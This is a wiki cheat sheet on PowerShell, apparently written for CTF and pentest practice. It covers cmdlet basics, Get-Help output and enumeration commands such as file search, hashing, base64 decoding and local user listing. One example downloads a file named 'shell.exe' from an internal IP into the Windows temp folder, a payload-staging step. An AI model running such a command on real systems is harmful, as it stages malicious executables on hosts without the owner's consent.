Powershell

From aldeid
Jump to navigation Jump to search

What is Powershell?

Windows PowerShell is a shell initially developed by Microsoft for the purposes of task automation and configuration management. PowerShell is now an open source project, and it can be installed on Windows, macOS, and Linux platforms. This shell is based on the .NET framework, and it includes a command-line shell and a scripting language.

Most Powershell commands, called cmdlets, are written in .NET. Unlike other scripting languages and shell environments, the output of these cmdlets are objects.

The normal format of a cmdlet is represented using Verb-Noun:

Example:

  • Command: Invoke-WebRequest
  • Verb: Invoke
  • Noun: WebRequest

Common verbs to use include:

  • Get
  • Start
  • Stop
  • Read
  • Write
  • New
  • Out
  • Invoke

Get-Help

Help on a command

To get help on a command, use the Get-Help command:

PS C:\Users\Administrator> Get-Help Invoke-WebRequest

NAME
    Invoke-WebRequest

SYNOPSIS
    Gets content from a web page on the Internet.


SYNTAX
    Invoke-WebRequest [-Uri] <Uri> [-Body <Object>] [-Certificate <X509Certificate>] [-CertificateThumbprint <String>]
    [-ContentType <String>] [-Credential <PSCredential>] [-DisableKeepAlive] [-Headers <IDictionary>] [-InFile
    <String>] [-MaximumRedirection <Int32>] [-Method {Default | Get | Head | Post | Put | Delete | Trace | Options |
    Merge | Patch}] [-OutFile <String>] [-PassThru] [-Proxy <Uri>] [-ProxyCredential <PSCredential>]
    [-ProxyUseDefaultCredentials] [-SessionVariable <String>] [-TimeoutSec <Int32>] [-TransferEncoding {chunked |
    compress | deflate | gzip | identity}] [-UseBasicParsing] [-UseDefaultCredentials] [-UserAgent <String>]
    [-WebSession <WebRequestSession>] [<CommonParameters>]


DESCRIPTION
    The Invoke-WebRequest cmdlet sends HTTP, HTTPS, FTP, and FILE requests to a web page or web service. It parses the
    response and returns collections of forms, links, images, and other significant HTML elements.

    This cmdlet was introduced in Windows PowerShell 3.0.


RELATED LINKS
    Online Version: http://go.microsoft.com/fwlink/?LinkId=821826
    Invoke-RestMethod
    ConvertFrom-Json
    ConvertTo-Json

REMARKS
    To see the examples, type: "get-help Invoke-WebRequest -examples".
    For more information, type: "get-help Invoke-WebRequest -detailed".
    For technical information, type: "get-help Invoke-WebRequest -full".
    For online help, type: "get-help Invoke-WebRequest -online"

Get-Help examples

If you are interested in examples, use Get-Help <command> -examples:

PS C:\Users\Administrator> Get-Help Invoke-WebRequest -examples

NAME
    Invoke-WebRequest

SYNOPSIS
    Gets content from a web page on the Internet.


    Example 1: Send a web request

    PS C:\>$R = Invoke-WebRequest -URI http://www.bing.com?q=how+many+feet+in+a+mile
    PS C:\>$R.AllElements | where {$_.innerhtml -like "*=*"} | Sort { $_.InnerHtml.Length } | Select InnerText -First 5
    innerText---------1 =5280 feet1 mile

    This command uses the Invoke-WebRequest cmdlet to send a web request to the Bing.com site.

    The first command issues the request and saves the response in the $R variable.

    The second command gets the InnerHtml property when it includes an equal sign, sorts the inner HTML by length and
    selects the 5 shortest values. Sorting by the shortest HTML value often helps you find the most specific element
    that matches that text.
    Example 2: Use a stateful web service

    The first command uses the **Invoke-WebRequest** cmdlet to send a sign-in request. The command specifies a value
    of "FB" for the value of the *SessionVariable* parameter, and saves the result in the $R variable.When the command
    completes, the $R variable contains an **HtmlWebResponseObject** and the $FB variable contains a
    **WebRequestSession** object.
    PS C:\>$R=Invoke-WebRequest http://www.facebook.com/login.php -SessionVariable fb

    The second command shows the **WebRequestSession** object in the $FB variable.
    PS C:\>$FB

    The third command gets the first form in the **Forms** property of the HTTP response object in the $R variable,
    and saves it in the $Form variable.
    PS C:\>$Form = $R.Forms[0]

    The fourth command pipes the properties of the form in the $Form variable into a list by using the Format-List
    cmdlet.
    PS C:\>$Form | Format-List

    The fifth command displays the keys and values in the hash table (dictionary) object in the Fields property of the
    form.
    PS C:\>$Form.fields

    The sixth and seventh commands populate the values of the email and pass keys of the hash table in the **Fields**
    property of the form. You can replace the email and password with values that you want to use.
    PS C:\>$Form.Fields["email"]="[email protected]"
    $Form.Fields["pass"]="P@ssw0rd"

    The eighth command uses the **Invoke-WebRequest** cmdlet to sign into the Facebook web service.The value of the
    *Uri* parameter is the value of the **Action** property of the form. The **WebRequestSession** object in the $FB
    variable (the session variable specified in the first command) is now the value of the *WebSession* parameter. The
    value of the *Body* parameter is the hash table in the Fields property of the form and the value of the *Method*
    parameter is POST. The command saves the output in the $R variable.
    PS C:\>$R=Invoke-WebRequest -Uri ("https://www.facebook.com" + $Form.Action) -WebSession $FB -Method POST -Body
    $Form.Fields

    The full script, then, is as follows.
    PS C:\># Sends a sign-in request by running the Invoke-WebRequest cmdlet. The command specifies a value of "fb"
    for the SessionVariable parameter, and saves the results in the $R variable.

    $R=Invoke-WebRequest http://www.facebook.com/login.php -SessionVariable fb

    # Use the session variable that you created in Example 1. Output displays values for Headers, Cookies,
    Credentials, etc.

    $FB

    # Gets the first form in the Forms property of the HTTP response object in the $R variable, and saves it in the
    $Form variable.

    $Form = $R.Forms[0]

    # Pipes the form properties that are stored in the $Forms variable into the Format-List cmdlet, to display those
    properties in a list.

    $Form | Format-List

    # Displays the keys and values in the hash table (dictionary) object in the Fields property of the form.

    $Form.fields

    # The next two commands populate the values of the "email" and "pass" keys of the hash table in the Fields
    property of the form. Of course, you can replace the email and password with values that you want to use.

    $Form.Fields["email"] = "[email protected]"
    $Form.Fields["pass"] = "P@ssw0rd"

    # The final command uses the Invoke-WebRequest cmdlet to sign in to the Facebook web service.

    $R=Invoke-WebRequest -Uri ("https://www.facebook.com" + $Form.Action) -WebSession $FB -Method POST -Body
    $Form.Fields

    When the command finishes, the **StatusDescription** property of the web response object in the $R variable
    indicates that the user is signed in successfully.
    PS C:\>$R.StatusDescription

    This example shows how to use the Invoke-WebRequest cmdlet with a stateful web service, such as Facebook.
    Example 3: Get links from a web page

    PS C:\>(Invoke-WebRequest -Uri "http://msdn.microsoft.com/en-us/library/aa973757(v=vs.85).aspx").Links.Href

    This command gets the links in a web page. It uses the Invoke-WebRequest cmdlet to get the web page content. Then
    it users the Links property of the HtmlWebResponseObject that Invoke-WebRequest returns, and the Href property of
    each link.

Get-Command

Get-Command gets all the cmdlets installed on the current Computer. You can filter the output using wildcard. The below example will list all cmdlets with the verb "Invoke".

PS C:\Users\Administrator> Get-Command Invoke-*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Invoke-AsWorkflow                                  1.0.0.0    PSWorkflowUtility
Function        Invoke-Mock                                        3.4.0      Pester
Function        Invoke-OperationValidation                         1.0.1      Microsoft.PowerShell.Operation.Validation
Function        Invoke-Pester                                      3.4.0      Pester
Function        Invoke-RDUserLogoff                                2.0.0.0    RemoteDesktop
Cmdlet          Invoke-ACMCertificateRenewal                       3.3.563.1  AWSPowerShell
Cmdlet          Invoke-BpaModel                                    1.0        BestPractices
Cmdlet          Invoke-CHMUserLogout                               3.3.563.1  AWSPowerShell
Cmdlet          Invoke-CimMethod                                   1.0.0.0    CimCmdlets
Cmdlet          Invoke-Command                                     3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Invoke-CommandInDesktopPackage                     2.0.0.0    Appx
Cmdlet          Invoke-DMSSchemaRefresh                            3.3.563.1  AWSPowerShell
Cmdlet          Invoke-DPExpression                                3.3.563.1  AWSPowerShell
Cmdlet          Invoke-DscResource                                 1.1        PSDesiredStateConfiguration
Cmdlet          Invoke-EMPChannelCredentialRotation                3.3.563.1  AWSPowerShell
Cmdlet          Invoke-EMPIngestEndpointCredentialRotation         3.3.563.1  AWSPowerShell
Cmdlet          Invoke-Expression                                  3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Invoke-History                                     3.0.0.0    Microsoft.PowerShell.Core
Cmdlet          Invoke-Item                                        3.1.0.0    Microsoft.PowerShell.Management
Cmdlet          Invoke-KMSDecrypt                                  3.3.563.1  AWSPowerShell
Cmdlet          Invoke-KMSEncrypt                                  3.3.563.1  AWSPowerShell
Cmdlet          Invoke-KMSReEncrypt                                3.3.563.1  AWSPowerShell
Cmdlet          Invoke-LMFunction                                  3.3.563.1  AWSPowerShell
Cmdlet          Invoke-LMFunctionAsync                             3.3.563.1  AWSPowerShell
Cmdlet          Invoke-R53DDomainTransfer                          3.3.563.1  AWSPowerShell
Cmdlet          Invoke-RDSDSqlStatement                            3.3.563.1  AWSPowerShell
Cmdlet          Invoke-RDSDStatement                               3.3.563.1  AWSPowerShell
Cmdlet          Invoke-RDSDStatementBatch                          3.3.563.1  AWSPowerShell
Cmdlet          Invoke-RestMethod                                  3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Invoke-SECSecretRotation                           3.3.563.1  AWSPowerShell
Cmdlet          Invoke-SGCacheRefresh                              3.3.563.1  AWSPowerShell
Cmdlet          Invoke-SMREndpoint                                 3.3.563.1  AWSPowerShell
Cmdlet          Invoke-SMUiTemplateRendering                       3.3.563.1  AWSPowerShell
Cmdlet          Invoke-TroubleshootingPack                         1.0.0.0    TroubleshootingPack
Cmdlet          Invoke-TXTDocumentAnalysis                         3.3.563.1  AWSPowerShell
Cmdlet          Invoke-WebRequest                                  3.1.0.0    Microsoft.PowerShell.Utility
Cmdlet          Invoke-WmiMethod                                   3.1.0.0    Microsoft.PowerShell.Management
Cmdlet          Invoke-WSManAction                                 3.0.0.0    Microsoft.WSMan.Management

Examples

Download a file

C:\> powershell -c "Invoke-WebRequest -Uri 'http://10.10.2.4:8000/shell.exe' -OutFile 'C:\windows\temp\shell.exe'"

Search files

PS C:\> Get-ChildItem -Path C:\ -Recurse -Name *interesting-file.txt* -ErrorAction SilentlyContinue

Read file content

PS C:\Users\Administrator\Desktop> Get-Content 'c:\program files\interesting-file.txt.txt' 
notsointerestingcontent

MD5 / SHA1 hashes

Default Algorithm (if not mentionned) is SHA1.

PS C:\Users\Administrator\Desktop> Get-Filehash 'C:\Program Files\interesting-file.txt.txt' 
PS C:\Users\Administrator\Desktop> Get-Filehash 'C:\Program Files\interesting-file.txt.txt' -Algorithm MD5 

Get current location (pwd)

PS C:\> Get-Location
PS C:\> pwd

Test existence of path

PS C:\> Test-Path C:\Users\Administrator\Documents\Passwords
False

Base64 decode file

PS C:\Users\Administrator\Desktop> $file = "C:\Users\Administrator\Desktop\b64.txt"
PS C:\Users\Administrator\Desktop> $data = Get-Content $file
PS C:\Users\Administrator\Desktop> [System.Text.Encoding]::Ascii.GetString([System.Convert]::FromBase64String($data))
this is the flag - ihopeyoudidthisonwindows

Enumerate local users

PS C:\Users\Administrator\Desktop> Get-LocalUser

Name           Enabled Description
----           ------- -----------
Administrator  True    Built-in account for administering the computer/domain
DefaultAccount False   A user account managed by the system.
duck           True
duck2          True
Guest          False   Built-in account for guest access to the computer/domain

Identify user by SID

PS C:\Users\Administrator\Desktop> Get-LocalUser -SID S-1-5-21-1394777289-3961777894-1791813945-501